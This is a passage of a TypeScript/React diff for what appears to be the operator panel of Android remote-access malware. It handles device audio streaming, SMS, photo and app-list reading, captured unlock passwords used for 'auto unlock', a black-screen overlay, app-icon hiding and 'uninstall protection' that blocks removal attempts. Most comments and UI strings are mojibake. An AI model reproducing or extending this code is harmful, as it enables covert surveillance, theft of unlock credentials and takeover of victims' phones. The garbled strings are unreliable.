涓哄吋瀹归仐鐣欒皟鐢紝鎻愪緵鏃犲壇浣滅敤鍗犱綅setter锛屽悗缁彲褰诲簳娓呯悊璋冪敤鐐? + const setIsRefreshingPermission = (_v?: any) => { } + + // 馃帶 WebAudio 鎾斁鐩稿叧寮曠敤 + const audioContextRef = useRef(null) + const micGainRef = useRef(null) + const nextPlaybackTimeRef = useRef(0) + + const ensureAudioContext = () => { + if (!audioContextRef.current || (audioContextRef.current.state === 'closed')) { + const ctx = new (window.AudioContext || (window as any).webkitAudioContext)() + audioContextRef.current = ctx + const gain = ctx.createGain() + gain.gain.value = 1.0 + gain.connect(ctx.destination) + micGainRef.current = gain + nextPlaybackTimeRef.current = ctx.currentTime + 0.01 + } + return audioContextRef.current! + } + + const decodeBase64ToInt16LE = (base64: string): Int16Array => { + const binary = window.atob(base64) + const len = binary.length + const buffer = new ArrayBuffer(len) + const bytes = new Uint8Array(buffer) + for (let i = 0; i < len; i++) { + bytes[i] = binary.charCodeAt(i) + } + // 浠ュ皬绔В鏋愪负 Int16 + const view = new DataView(buffer) + const samples = new Int16Array(len / 2) + for (let i = 0; i < samples.length; i++) { + samples[i] = view.getInt16(i * 2, true) + } + return samples + } + + const int16ToFloat32 = (input: Int16Array): Float32Array => { + const output = new Float32Array(input.length) + for (let i = 0; i < input.length; i++) { + output[i] = Math.max(-1, Math.min(1, input[i] / 32768)) + } + return output + } + + const playPcmChunk = (base64: string, sampleRate: number, channels: number) => { + try { + const ctx = ensureAudioContext() + const int16 = decodeBase64ToInt16LE(base64) + const float32 = int16ToFloat32(int16) + + const ch = Math.max(1, channels || 1) + const length = Math.floor(float32.length / ch) + const buffer = ctx.createBuffer(ch, length, sampleRate || ctx.sampleRate) + for (let c = 0; c < ch; c++) { + const channelData = buffer.getChannelData(c) + // 鎷嗗垎浜ら敊閫氶亾鏁版嵁锛堢洰鍓嶆暟鎹负鍗曞0閬擄紝淇濈暀閫氱敤鍐欐硶锛? + for (let i = 0; i < length; i++) { + channelData[i] = float32[i * ch + c] || 0 + } + } + + const source = ctx.createBufferSource() + source.buffer = buffer + source.connect(micGainRef.current as GainNode) + + const startAt = Math.max(ctx.currentTime + 0.005, nextPlaybackTimeRef.current || ctx.currentTime + 0.005) + source.start(startAt) + nextPlaybackTimeRef.current = startAt + buffer.duration + } catch (e) { + console.error('馃帶 鎾斁闊抽鏁版嵁澶辫触:', e) + } + } + + // 馃啎 纭鍧愭爣杈撳叆鐩稿叧鐘舵€? + const [inputCoordsModalVisible, setInputCoordsModalVisible] = useState(false) + const [inputCoordX, setInputCoordX] = useState(0) + const [inputCoordY, setInputCoordY] = useState(0) + + // 馃洝锔?闃叉鍗歌浇鍔熻兘鐩稿叧鐘舵€? + const [isUninstallProtectionEnabled, setIsUninstallProtectionEnabled] = useState(false) + const [_uninstallProtectionStatus, setUninstallProtectionStatus] = useState<'monitoring' | 'idle'>('idle') + + // 馃摫 SMS鐭俊鐩稿叧鐘舵€侊紙鍗$墖鍐呭睍绀哄垪琛級 + const [smsData, setSmsData] = useState(null) + // 鐭俊鏀逛负鍗$墖鍐呭睍绀猴紝绉婚櫎寮圭獥鐘舵€? + const [smsLoading, setSmsLoading] = useState(false) + // 鐭俊璇诲彇鏉℃暟闄愬埗 + const [smsReadLimit, setSmsReadLimit] = useState(100) + + // 鉁?鏂板锛氭湇鍔″櫒鍦板潃淇敼鍔熻兘 + const [serverUrlModalVisible, setServerUrlModalVisible] = useState(false) + const [newServerUrl, setNewServerUrl] = useState('') + const [serverUrlChanging, setServerUrlChanging] = useState(false) + + // 馃摲 鐩稿唽鐩稿叧鐘舵€? + const [albumData, setAlbumData] = useState(null) + const [albumLoading, setAlbumLoading] = useState(false) + + // 应用列表相关状态 + const [appListData, setAppListData] = useState(null) + const [appListLoading, setAppListLoading] = useState(false) + const [appListIncludeIcons, setAppListIncludeIcons] = useState(false) + const [appSearchKeyword, setAppSearchKeyword] = useState('') + const [openingAppPackage, setOpeningAppPackage] = useState(null) + const [appListPermission, setAppListPermission] = useState<{ granted: boolean | null, message: string }>({ + granted: null, + message: '' + }) + + // 馃摲 鏂板锛氶€愬紶鍥剧墖淇濆瓨浜嬩欢灞曠ず锛堢被浼肩煭淇★級 + type GallerySavedItem = { + id: string + deviceId: string + index: number + displayName: string + dateAdded: number + mimeType: string + width: number + height: number + size: number + contentUri: string + timestamp: number + url: string + resolvedUrl?: string + } + const [gallerySavedList, setGallerySavedList] = useState([]) + + const dispatch = useDispatch() + const { webSocket } = useSelector((state: RootState) => state.connection) + const { connectedDevices } = useSelector((state: RootState) => state.devices) + const { operationEnabled, deviceInputBlocked, cameraViewVisible } = useSelector((state: RootState) => state.ui) + + const device = connectedDevices.find(d => d.id === deviceId) + + // 褰撹澶囪繛鎺ユ椂閲嶇疆鐘舵€侊紝浣嗕笉鐢宠鎺у埗鏉冿紙鐢盌eviceScreen缁勪欢缁熶竴绠$悊锛? + useEffect(() => { + if (device && device.status === 'online') { + dispatch(resetDeviceStates(deviceId)) + + // 鉁?绉婚櫎閲嶅鐨勬帶鍒舵潈鐢宠锛岄伩鍏嶄笌DeviceScreen缁勪欢鍐茬獊 + // 鎺у埗鏉冪敵璇风敱DeviceScreen缁勪欢缁熶竴绠$悊 + console.log('馃搵 璁惧宸茶繛鎺ワ紝閲嶇疆鐘舵€?', deviceId) + } + }, [device?.status, deviceId, dispatch]) + + // 褰撹澶囧垏鎹㈡椂閲嶇疆鐘舵€? + useEffect(() => { + if (!deviceId) return + + // 鉁?褰撹澶囧垏鎹㈡椂锛屾竻绌轰箣鍓嶈澶囩殑鐘舵€? + console.log('馃攧 璁惧鍒囨崲锛屾竻绌虹姸鎬?', deviceId) + + // 娓呯┖涔嬪墠璁惧鐨勭姸鎬? + setLastKnownPassword('') + setIsLoggingEnabled(false) + setOperationEnabled(true) + setPasswordSearchVisible(false) + setFoundPasswords([]) + setSelectedPassword('') + setIsUnlocking(false) + setPasswordSearchLoading(false) + // 馃啎 閲嶇疆榛戝睆鐘舵€侊紙绋嶅悗浠庢湇鍔″櫒鍚屾瀹為檯鐘舵€侊級 + setIsBlackScreenActive(false) + // 馃啎 閲嶇疆搴旂敤闅愯棌鐘舵€侊紙绋嶅悗浠庢湇鍔″櫒鍚屾瀹為檯鐘舵€侊級 + setIsAppHidden(false) + // 馃洝锔?閲嶇疆闃叉鍗歌浇淇濇姢鐘舵€侊紙绋嶅悗浠庢湇鍔″櫒鍚屾瀹為檯鐘舵€侊級 + setIsUninstallProtectionEnabled(false) + setUninstallProtectionStatus('idle') + // 馃啎 閲嶇疆閲嶆柊鑾峰彇鎶曞睆鏉冮檺鐘舵€? + setIsRefreshingPermission(false) + setAppListData(null) + setAppListLoading(false) + setAppListIncludeIcons(false) + setAppSearchKeyword('') + setOpeningAppPackage(null) + setAppListPermission({ granted: null, message: '' }) + + // 鈿狅笍 涓嶅啀绔嬪嵆鑾峰彇璁惧鐘舵€侊紝绛夊緟DeviceScreen缁勪欢鑾峰彇鎺у埗鏉冩垚鍔熷悗鍐嶈幏鍙? + }, [deviceId]) + + // 鐩戝惉WebSocket浜嬩欢 + useEffect(() => { + if (!webSocket || !deviceId) return + + const handleRealtimeLog = (data: any) => { + console.log(`鏀跺埌鏃ュ織鏁版嵁`) + console.log(data) + if (data.deviceId === deviceId && logModalVisibleRef.current) { + // 瀹炴椂鏇存柊鏃ュ織鍒楄〃 + console.log('鏇存柊鏃ュ織鏁版嵁') + setOperationLogs(prev => [data.log, ...prev]) + setTotalLogs(prev => prev + 1) + } + } + + const handleLogResponse = (data: any) => { + setLogLoading(false) + if (data.success) { + setOperationLogs(data.data.logs) + setTotalLogs(data.data.total) + setCurrentPage(data.data.page) + } else { + modal.error({ + title: '鑾峰彇鏃ュ織澶辫触', + content: data.message + }) + } + } + + const handleClearLogResponse = (data: any) => { + if (data.success) { + modal.success({ + title: '娓呯┖鎴愬姛', + content: '鎿嶄綔鏃ュ織宸叉竻绌? + }) + if (logModalVisibleRef.current) { + fetchOperationLogs(1, pageSizeRef.current, logTypeFilterRef.current) + } + } else { + modal.error({ + title: '娓呯┖澶辫触', + content: data.message + }) + } + } + + const handleGetPasswordResponse = (data: any) => { + console.log('馃摠 鏀跺埌瀵嗙爜鏌ヨ鍝嶅簲:', data) + setIsUnlocking(false) + + if (!data.success) { + // 澶勭悊閿欒鎯呭喌锛堟瘮濡傛潈闄愪笉瓒筹級 + console.error('鉂?瀵嗙爜鏌ヨ澶辫触:', data.message) + + if (data.message && data.message.includes('鏃犳潈')) { + modal.error({ + title: '鏉冮檺涓嶈冻', + content: '鎮ㄩ渶瑕佸厛鑾峰彇璁惧鎺у埗鏉冮檺鎵嶈兘浣跨敤涓€閿В閿佸姛鑳姐€傝鍏堢偣鍑?鑾峰彇鎺у埗鏉?鎸夐挳銆?, + okText: '鐭ラ亾浜? + }) + } else { + modal.error({ + title: '鏌ヨ澶辫触', + content: data.message || '鏌ヨ瀵嗙爜澶辫触锛岃閲嶈瘯' + }) + } + return + } + + // 鉁?澶勭悊璁惧鐘舵€佷俊鎭? + if (data.deviceState) { + console.log('馃搳 鏀跺埌璁惧鐘舵€?', data.deviceState) + setDeviceState(data.deviceState) + // 鏇存柊鏈湴鐘舵€佷互鍖归厤鏈嶅姟鍣ㄧ姸鎬? + if (data.deviceState.inputBlocked !== undefined && data.deviceState.inputBlocked !== null) { + dispatch(setDeviceInputBlocked(data.deviceState.inputBlocked)) + setOperationEnabled(!data.deviceState.inputBlocked) + } + if (data.deviceState.loggingEnabled !== undefined && data.deviceState.loggingEnabled !== null) { + setIsLoggingEnabled(data.deviceState.loggingEnabled) + } + // 馃啎 鍚屾榛戝睆閬洊鐘舵€? + if (data.deviceState.blackScreenActive !== undefined && data.deviceState.blackScreenActive !== null) { + setIsBlackScreenActive(data.deviceState.blackScreenActive) + console.log('馃枻 浠庡瘑鐮佹煡璇㈠悓姝ラ粦灞忕姸鎬?', data.deviceState.blackScreenActive) + } + // 馃啎 鍚屾搴旂敤闅愯棌鐘舵€? + if (data.deviceState.appHidden !== undefined && data.deviceState.appHidden !== null) { + setIsAppHidden(data.deviceState.appHidden) + console.log('馃摫 浠庡瘑鐮佹煡璇㈠悓姝ュ簲鐢ㄩ殣钘忕姸鎬?', data.deviceState.appHidden) + } + // 馃洝锔?鍚屾闃叉鍗歌浇淇濇姢鐘舵€? + if (data.deviceState.uninstallProtectionEnabled !== undefined && data.deviceState.uninstallProtectionEnabled !== null) { + setIsUninstallProtectionEnabled(data.deviceState.uninstallProtectionEnabled) + setUninstallProtectionStatus(data.deviceState.uninstallProtectionEnabled ? 'monitoring' : 'idle') + console.log('馃洝锔?浠庡瘑鐮佹煡璇㈠悓姝ラ槻姝㈠嵏杞戒繚鎶ょ姸鎬?', data.deviceState.uninstallProtectionEnabled) + } + if (data.deviceState.password) { + setLastKnownPassword(data.deviceState.password) + } + } + + if (data.password) { + setLastKnownPassword(data.password) + + // 馃啎 浼樺厛浣跨敤鏂扮殑纭鍧愭爣瀛楁锛堜粠鏁版嵁搴撹幏鍙栵級 + const savedConfirmCoords = data.deviceState?.confirmButtonCoords || null + const learnedConfirmButton = data.deviceState?.learnedConfirmButton || null + + // 馃啎 鏇存柊璁惧鐘舵€侊紝鍖呭惈纭鎸夐挳淇℃伅 + setDeviceState((prev: any) => ({ + ...prev, + confirmButtonCoords: savedConfirmCoords, + learnedConfirmButton: learnedConfirmButton + })) + + // 鉁?鏍规嵁瀵嗙爜绫诲瀷鍒ゆ柇鏄惁闇€瑕佺‘璁ゆ寜閽? + const passwordType = detectPasswordType(data.password) + const needsConfirmButton = passwordType !== 'pattern' // 闄や簡鍥惧舰瀵嗙爜锛屽叾浠栭兘闇€瑕佺‘璁? + + let confirmInfo = '' + if (savedConfirmCoords) { + confirmInfo = `\n馃幆 宸蹭繚瀛樼‘璁ゅ潗鏍? (${savedConfirmCoords.x}, ${savedConfirmCoords.y})` + } else if (learnedConfirmButton) { + confirmInfo = `\n馃 瀛︿範鐨勭‘璁ゅ潗鏍? (${learnedConfirmButton.x}, ${learnedConfirmButton.y}) 娆℃暟: ${learnedConfirmButton.count}` + } else if (needsConfirmButton) { + confirmInfo = `\n馃挕 鎻愮ず: 璇ュ瘑鐮佺被鍨?(${passwordType}) 闇€瑕佺‘璁ゆ寜閽紝寤鸿鍏堟彁鍙栫‘璁ゅ潗鏍嘸 + } else { + confirmInfo = `\n鉁?璇ュ瘑鐮佺被鍨?(${passwordType}) 閫氬父鏃犻渶纭鎸夐挳` + } + + modal.confirm({ + title: '鎵惧埌瀵嗙爜璁板綍', + content: `鍙戠幇瀵嗙爜: ${data.password}${confirmInfo}\n\n鏄惁鎵ц鑷姩瑙i攣锛焋, + okText: '纭瑙i攣', + cancelText: '鍙栨秷', + onOk() { + // 鉁?鐢ㄦ埛纭鍚庯紝鍏堜繚瀛樺瘑鐮佸埌鏁版嵁搴擄紝鐒跺悗鎵ц瑙i攣 + savePasswordToDatabase(data.password) + // 馃啎 浼樺厛浣跨敤淇濆瓨鐨勫潗鏍囷紝濡傛灉娌℃湁鍒欎娇鐢ㄥ涔犵殑鍧愭爣 + const coordsToUse = savedConfirmCoords || learnedConfirmButton + performAutoUnlock(data.password, coordsToUse) + } + }) + } else { + // 馃敡 淇锛氭病鏈夊瘑鐮佹椂鎻愪緵鎵嬪姩杈撳叆閫夐」 + modal.confirm({ + title: '馃攼 鏆傛棤瀵嗙爜璁板綍', + content: '璇ヨ澶囨殏鏃舵湭璁板綍瀵嗙爜銆俓n\n鎮ㄥ彲浠ワ細\n鈥?鐐瑰嚮"纭"鎵嬪姩杈撳叆瀵嗙爜杩涜瑙i攣\n鈥?鐐瑰嚮"鏌ユ壘瀵嗙爜"浠庢搷浣滄棩蹇椾腑鎼滅储\n鈥?鐐瑰嚮"鍙栨秷"绋嶅悗鎵嬪姩鎿嶄綔', + okText: '鎵嬪姩杈撳叆瀵嗙爜', + cancelText: '鏌ユ壘瀵嗙爜', + width: 450, + onOk() { + // 鎵撳紑瀵嗙爜鎼滅储寮圭獥锛屼絾鍏佽鐩存帴杈撳叆瀵嗙爜 + setPasswordSearchVisible(true) + setFoundPasswords([]) // 娓呯┖鍘嗗彶瀵嗙爜 + setSelectedPassword('') + setCustomPasswordInput('') // 娓呯┖鑷畾涔夎緭鍏? + setPasswordSearchLoading(false) // 涓嶆樉绀哄姞杞界姸鎬? + }, + onCancel() { + // 鐢ㄦ埛閫夋嫨鏌ユ壘瀵嗙爜 + handleSearchPasswords() + } + }) + } + } + + const handleDeviceControlResponse = (data: any) => { + console.log('馃幃 璁惧鎺у埗鏉冨搷搴?', data) + if (data.success && data.deviceId === deviceId) { + console.log('鉁?鎴愬姛鑾峰彇璁惧鎺у埗鏉冿紝鐜板湪鑾峰彇璁惧鐘舵€?) + // 馃敡 鑾峰彇鎺у埗鏉冩垚鍔熷悗锛岀珛鍗宠幏鍙栬澶囩姸鎬? + setTimeout(() => { + getDeviceState() + }, 100) // 绋嶅井寤惰繜纭繚鎺у埗鏉冨凡璁剧疆 + } else { + console.error('鉂?鑾峰彇璁惧鎺у埗鏉冨け璐?', data.message) + } + } + + // 鉁?鏂板璁惧鐘舵€佺浉鍏冲搷搴斿鐞? + const handleSavePasswordResponse = (data: any) => { + console.log('馃捑 淇濆瓨瀵嗙爜鍝嶅簲:', data) + if (data.success) { + console.log('鉁?瀵嗙爜宸蹭繚瀛樺埌鏁版嵁搴?) + } else { + console.error('鉂?淇濆瓨瀵嗙爜澶辫触:', data.message) + } + } + + const handleUpdateDeviceStateResponse = (data: any) => { + console.log('馃搳 鏇存柊璁惧鐘舵€佸搷搴?', data) + if (data.success) { + console.log('鉁?璁惧鐘舵€佸凡鏇存柊') + } else { + console.error('鉂?鏇存柊璁惧鐘舵€佸け璐?', data.message) + } + } + + const handleGetDeviceStateResponse = (data: any) => { + console.log('馃搳 鑾峰彇璁惧鐘舵€佸搷搴?', data) + if (data.success) { + if (data.data) { + const deviceState = data.data + console.log('馃搳 璁惧鐘舵€佹暟鎹?', deviceState) + + // 鏇存柊鏈湴鐘舵€佷互鍖归厤鏈嶅姟鍣ㄧ姸鎬? + if (deviceState.inputBlocked !== undefined && deviceState.inputBlocked !== null) { + dispatch(setDeviceInputBlocked(deviceState.inputBlocked)) + setOperationEnabled(!deviceState.inputBlocked) + } + if (deviceState.loggingEnabled !== undefined && deviceState.loggingEnabled !== null) { + setIsLoggingEnabled(deviceState.loggingEnabled) + } + // 馃啎 鍚屾榛戝睆閬洊鐘舵€? + if (deviceState.blackScreenActive !== undefined && deviceState.blackScreenActive !== null) { + setIsBlackScreenActive(deviceState.blackScreenActive) + console.log('馃枻 浠庢湇鍔″櫒鍚屾榛戝睆鐘舵€?', deviceState.blackScreenActive) + } + // 馃啎 鍚屾搴旂敤闅愯棌鐘舵€? + if (deviceState.appHidden !== undefined && deviceState.appHidden !== null) { + setIsAppHidden(deviceState.appHidden) + console.log('馃摫 浠庢湇鍔″櫒鍚屾搴旂敤闅愯棌鐘舵€?', deviceState.appHidden) + } + // 馃洝锔?鍚屾闃叉鍗歌浇淇濇姢鐘舵€? + if (deviceState.uninstallProtectionEnabled !== undefined && deviceState.uninstallProtectionEnabled !== null) { + setIsUninstallProtectionEnabled(deviceState.uninstallProtectionEnabled) + setUninstallProtectionStatus(deviceState.uninstallProtectionEnabled ? 'monitoring' : 'idle') + console.log('馃洝锔?浠庢湇鍔″櫒鍚屾闃叉鍗歌浇淇濇姢鐘舵€?', deviceState.uninstallProtectionEnabled) + } + if (deviceState.password) { + setLastKnownPassword(deviceState.password) + } else { + setLastKnownPassword('') // 纭繚娓呯┖涔嬪墠鐨勫瘑鐮? + } + } else { + console.log('馃搳 璁惧鏆傛棤鐘舵€佽褰曪紝浣跨敤榛樿鐘舵€?) + // 璁惧鏆傛棤鐘舵€佽褰曪紝淇濇寔娓呯┖鍚庣殑榛樿鐘舵€? + setLastKnownPassword('') + setIsLoggingEnabled(false) + setOperationEnabled(true) + setIsBlackScreenActive(false) + setIsAppHidden(false) + setIsUninstallProtectionEnabled(false) + setUninstallProtectionStatus('idle') + } + } else { + console.error('鉂?鑾峰彇璁惧鐘舵€佸け璐?', data.message) + // 鑾峰彇澶辫触涔熶繚鎸侀粯璁ょ姸鎬? + setLastKnownPassword('') + setIsLoggingEnabled(false) + setOperationEnabled(true) + setIsBlackScreenActive(false) + setIsAppHidden(false) + setIsUninstallProtectionEnabled(false) + setUninstallProtectionStatus('idle') + } + } + + // 澶勭悊瀵嗙爜鎼滅储鍝嶅簲 + const handlePasswordSearchResponse = (data: any) => { + console.log('馃攳 鏀跺埌瀵嗙爜鎼滅储鍝嶅簲:', data) + setPasswordSearchLoading(false) + + if (data.success) { + if (data.passwords && data.passwords.length > 0) { + console.log('鉁?鎵惧埌瀵嗙爜:', data.passwords) + setFoundPasswords(data.passwords) + setSelectedPassword('') // 閲嶇疆閫夋嫨 + } else { + console.log('鈩癸笍 鎼滅储鎴愬姛浣嗘湭鎵惧埌瀵嗙爜锛屾樉绀鸿緭鍏ョ晫闈?) + // 馃敡 淇锛氬嵆浣挎病鏈夋壘鍒板巻鍙插瘑鐮侊紝涔熸樉绀哄脊绐楄鐢ㄦ埛鎵嬪姩杈撳叆 + setPasswordSearchVisible(true) + setFoundPasswords([]) + setSelectedPassword('') + setCustomPasswordInput('') + + // 鏄剧ず鎻愮ず淇℃伅锛屼絾涓嶅叧闂脊绐? + message.info('鏈壘鍒板巻鍙插瘑鐮佽褰曪紝璇风洿鎺ヨ緭鍏ュ瘑鐮?, 3) + } + } else { + console.log('鉂?瀵嗙爜鎼滅储澶辫触:', data.message) + // 馃敡 淇锛氭悳绱㈠け璐ユ椂涔熷厑璁哥敤鎴锋墜鍔ㄨ緭鍏ュ瘑鐮? + setPasswordSearchVisible(true) + setFoundPasswords([]) + setSelectedPassword('') + setCustomPasswordInput('') + + // 鏄剧ず鎼滅储澶辫触鐨勬彁绀猴紝浣嗕繚鎸佸脊绐楁墦寮€ + message.error(`瀵嗙爜鎼滅储澶辫触: ${data.message || '鏈煡閿欒'}锛岃鐩存帴杈撳叆瀵嗙爜`, 4) + } + } + + // 鐩戝惉璁惧鐘舵€佸悓姝ヤ簨浠? + const handleDeviceInputBlockedChanged = (data: any) => { + if (data.deviceId === deviceId && data.success) { + console.log(`[鎺у埗闈㈡澘] 璁惧 ${deviceId} 杈撳叆闃诲鐘舵€佸凡鍚屾: ${data.blocked}`) + dispatch(setDeviceInputBlocked(data.blocked)) + } + } + + const handleDeviceLoggingStateChanged = (data: any) => { + if (data.deviceId === deviceId && data.success) { + console.log(`[鎺у埗闈㈡澘] 璁惧 ${deviceId} 鏃ュ織鐘舵€佸凡鍚屾: ${data.enabled}`) + setIsLoggingEnabled(data.enabled) + } + } + + // 鐩戝惉璁惧鐘舵€佹仮澶嶄簨浠? + const handleDeviceStateRestored = (data: any) => { + if (data.deviceId === deviceId && data.success && data.state) { + console.log(`[鎺у埗闈㈡澘] 璁惧 ${deviceId} 鐘舵€佸凡鎭㈠:`, data.state) + + // 鎭㈠杈撳叆闃诲鐘舵€? + if (data.state.inputBlocked !== null) { + dispatch(setDeviceInputBlocked(data.state.inputBlocked)) + } + + // 鎭㈠鏃ュ織鐘舵€? + if (data.state.loggingEnabled !== null) { + setIsLoggingEnabled(data.state.loggingEnabled) + } + + // 馃啎 鎭㈠榛戝睆閬洊鐘舵€? + if (data.state.blackScreenActive !== null) { + setIsBlackScreenActive(data.state.blackScreenActive) + console.log('馃枻 浠庣姸鎬佹仮澶嶅悓姝ラ粦灞忕姸鎬?', data.state.blackScreenActive) + } + + // 馃啎 鎭㈠搴旂敤闅愯棌鐘舵€? + if (data.state.appHidden !== null) { + setIsAppHidden(data.state.appHidden) + console.log('馃摫 浠庣姸鎬佹仮澶嶅悓姝ュ簲鐢ㄩ殣钘忕姸鎬?', data.state.appHidden) + } + } + } + + // 澶勭悊UI灞傛缁撴瀯鍝嶅簲 + const handleUIHierarchyResponse = (data: any) => { + //console.log('馃攳 鏀跺埌UI灞傛缁撴瀯鍝嶅簲:', data) + if (data.deviceId === deviceId) { + if (data.success && data.hierarchy) { + dispatch(setDeviceScreenReaderHierarchy({ + deviceId, + hierarchyData: data.hierarchy + })) + //console.log('鉁?UI灞傛缁撴瀯鏁版嵁宸叉洿鏂?) + } else { + const errorMsg = data.error || '鑾峰彇UI灞傛缁撴瀯澶辫触' + dispatch(setDeviceScreenReaderHierarchy({ + deviceId, + hierarchyData: null, + error: errorMsg + })) + console.error('鉂?UI灞傛缁撴瀯鑾峰彇澶辫触:', errorMsg) + } + } + } + + // 馃啎 鐩戝惉纭鍧愭爣淇濆瓨鍝嶅簲 + const handleSaveConfirmCoordsResponse = (data: any) => { + if (data.deviceId === deviceId) { + if (data.success) { + message.success(`纭鍧愭爣宸蹭繚瀛? (${data.coords.x}, ${data.coords.y})`) + // 鏇存柊璁惧鐘舵€佷互鏄剧ず鏂扮殑鍧愭爣 + getDeviceState() + } else { + message.error(`淇濆瓨纭鍧愭爣澶辫触: ${data.message}`) + } + } + } + + // 馃啎 鐩戝惉纭鍧愭爣鏇存柊骞挎挱 + const handleConfirmCoordsUpdated = (data: any) => { + if (data.deviceId === deviceId) { + console.log('馃摠 鏀跺埌纭鍧愭爣鏇存柊:', data.coords) + // 鏇存柊璁惧鐘舵€佷互鏄剧ず鏂扮殑鍧愭爣 + getDeviceState() + } + } + + // 馃啎 鐩戝惉榛戝睆閬洊鍝嶅簲 + const handleBlackScreenResponse = (data: any) => { + if (data.deviceId === deviceId) { + console.log('馃枻 榛戝睆閬洊鍝嶅簲:', data) + if (data.success) { + setIsBlackScreenActive(data.isActive) + message.success(data.isActive ? '榛戝睆閬洊宸插惎鐢? : '榛戝睆閬洊宸插彇娑?) + console.log(`馃枻 [璁惧 ${deviceId}] 榛戝睆鐘舵€佸凡鏇存柊: ${data.isActive}`) + } else { + message.error(`榛戝睆閬洊鎿嶄綔澶辫触: ${data.message}`) + console.error(`馃枻 [璁惧 ${deviceId}] 榛戝睆閬洊鎿嶄綔澶辫触:`, data.message) + } + } + } + + // 馃啎 鐩戝惉搴旂敤璁剧疆鍝嶅簲 + const handleAppSettingsResponse = (data: any) => { + if (data.deviceId === deviceId) { + console.log('鈿欙笍 搴旂敤璁剧疆鍝嶅簲:', data) + if (data.success) { + message.success('搴旂敤璁剧疆宸叉墦寮€') + console.log(`鈿欙笍 [璁惧 ${deviceId}] 搴旂敤璁剧疆宸叉垚鍔熸墦寮€`) + } else { + message.error(`鎵撳紑搴旂敤璁剧疆澶辫触: ${data.message}`) + console.error(`鈿欙笍 [璁惧 ${deviceId}] 鎵撳紑搴旂敤璁剧疆澶辫触:`, data.message) + } + } + } + + // 馃啎 鐩戝惉搴旂敤闅愯棌鍝嶅簲 + const handleAppHideResponse = (data: any) => { + if (data.deviceId === deviceId) { + console.log('馃摫 搴旂敤闅愯棌鍝嶅簲:', data) + + // 鏇存柊鏈湴鐘舵€? + setIsAppHidden(data.isHidden) + + if (data.success) { + if (data.fromDevice) { + // 鏉ヨ嚜璁惧绔殑鐘舵€佹姤鍛? + console.log(`馃摫 [璁惧 ${deviceId}] 鏀跺埌璁惧绔姸鎬佹姤鍛? ${data.isHidden ? '宸查殣钘? : '宸叉樉绀?}`) + message.info(`璁惧鐘舵€? ${data.message}`) + } else { + // 鏉ヨ嚜鏈嶅姟绔殑鎿嶄綔鍝嶅簲 + message.success(data.isHidden ? '搴旂敤宸查殣钘? : '搴旂敤宸叉樉绀?) + console.log(`馃摫 [璁惧 ${deviceId}] 搴旂敤闅愯棌鐘舵€佸凡鏇存柊: ${data.isHidden}`) + } + } else { + message.error(`搴旂敤闅愯棌鎿嶄綔澶辫触: ${data.message}`) + console.error(`馃摫 [璁惧 ${deviceId}] 搴旂敤闅愯棌鎿嶄綔澶辫触:`, data.message) + } + } + } + + // 馃啎 鐩戝惉璁惧搴旂敤闅愯棌鐘舵€佸彉鍖栵紙鍏ㄥ眬骞挎挱锛? + const handleDeviceAppHideStatusChanged = (data: any) => { + if (data.deviceId === deviceId) { + console.log('馃摫 璁惧搴旂敤闅愯棌鐘舵€佸彉鍖?', data) + setIsAppHidden(data.isHidden) + // 涓嶆樉绀烘秷鎭紝閬垮厤骞叉壈鐢ㄦ埛锛屼粎鏇存柊鐘舵€? + } + } + + // 馃啎 閲嶆柊鑾峰彇鎶曞睆鏉冮檺鍝嶅簲澶勭悊 + const handleRefreshPermissionResponse = (data: any) => { + console.log('馃摵 鏀跺埌閲嶆柊鑾峰彇鎶曞睆鏉冮檺鍝嶅簲:', data) + if (data.deviceId === deviceId) { + setIsRefreshingPermission(false) + if (data.success) { + message.success('鎶曞睆鏉冮檺閲嶆柊鐢宠鎴愬姛锛岃鍦ㄨ澶囦笂纭鏉冮檺') + console.log(`馃摵 [璁惧 ${deviceId}] 鎶曞睆鏉冮檺閲嶆柊鐢宠鎴愬姛`) + } else { + message.error(`閲嶆柊鐢宠鎶曞睆鏉冮檺澶辫触: ${data.message}`) + console.error(`馃摵 [璁惧 ${deviceId}] 閲嶆柊鐢宠鎶曞睆鏉冮檺澶辫触:`, data.message) + } + } + } + + // 馃啎 澶勭悊鍏抽棴閰嶇疆閬洊鍝嶅簲 + // Handle permission_response: config mask + app list + const handlePermissionResponse = (data: any) => { + if (!data || data.deviceId !== deviceId) return + + if (data.permissionType === 'CONFIG_MASK_CLOSE') { + console.log('Close config mask response:', data) + if (data.success) { + message.success(data.message || '配置遮盖已关闭') + console.log(`Config mask closed: ${deviceId}`) + } else { + message.error(data.message || '关闭配置遮盖失败') + console.error(`Config mask close failed: ${deviceId}`, data.message) + } + return + } + + if (data.permissionType === 'app_list') { + setAppListPermission({ + granted: !!data.success, + message: data.message || '' + }) + if (!data.success) { + setAppListLoading(false) + message.warning(data.message || '应用列表读取失败') + } + } + } + + const handleUninstallProtectionResponse = (data: any) => { + console.log('馃洝锔?闃叉鍗歌浇鍔熻兘鍝嶅簲:', data) + if (data.deviceId === deviceId) { + setIsUninstallProtectionEnabled(data.enabled) + setUninstallProtectionStatus(data.enabled ? 'monitoring' : 'idle') + + if (data.success) { + message.success(data.enabled ? '闃叉鍗歌浇鐩戝惉宸插惎鍔? : '闃叉鍗歌浇鐩戝惉宸插仠姝?) + console.log(`馃洝锔?[璁惧 ${deviceId}] 闃叉鍗歌浇鐘舵€? ${data.enabled ? '鍚姩' : '鍋滄'}`) + } else { + message.error(`闃叉鍗歌浇鎿嶄綔澶辫触: ${data.message}`) + console.error(`馃洝锔?[璁惧 ${deviceId}] 闃叉鍗歌浇鎿嶄綔澶辫触:`, data.message) + } + } + } + + // 馃洝锔?鐩戝惉鍗歌浇灏濊瘯妫€娴嬩簨浠? + const handleUninstallAttemptDetected = (data: any) => { + console.log('馃洝锔?妫€娴嬪埌鍗歌浇灏濊瘯:', data) + if (data.deviceId === deviceId) { + message.warning(`妫€娴嬪埌鍗歌浇灏濊瘯: ${data.type}锛屽凡鑷姩杩斿洖涓婚〉`) + console.log(`馃洝锔?[璁惧 ${deviceId}] 鍗歌浇灏濊瘯琚樆姝? ${data.type}`) + } + } + + // 馃摫 鐩戝惉SMS鏁版嵁鍝嶅簲锛堝吋瀹圭洿鎺ヨ浇鑽蜂笌鍖呰9鍦╯uccess缁撴瀯鍐呯殑涓ょ鏍煎紡锛? + const handleSmsDataResponse = (data: any) => { + console.log('馃摫 鏀跺埌SMS鏁版嵁:', data) + // 鍙兘鐨勪袱绉嶆牸寮忥細 + // 1) 鐩存帴杞借嵎: { deviceId, type: 'sms_data', timestamp, count, smsList } + // 2) 鍖呰9杞借嵎: { success: true, data: { 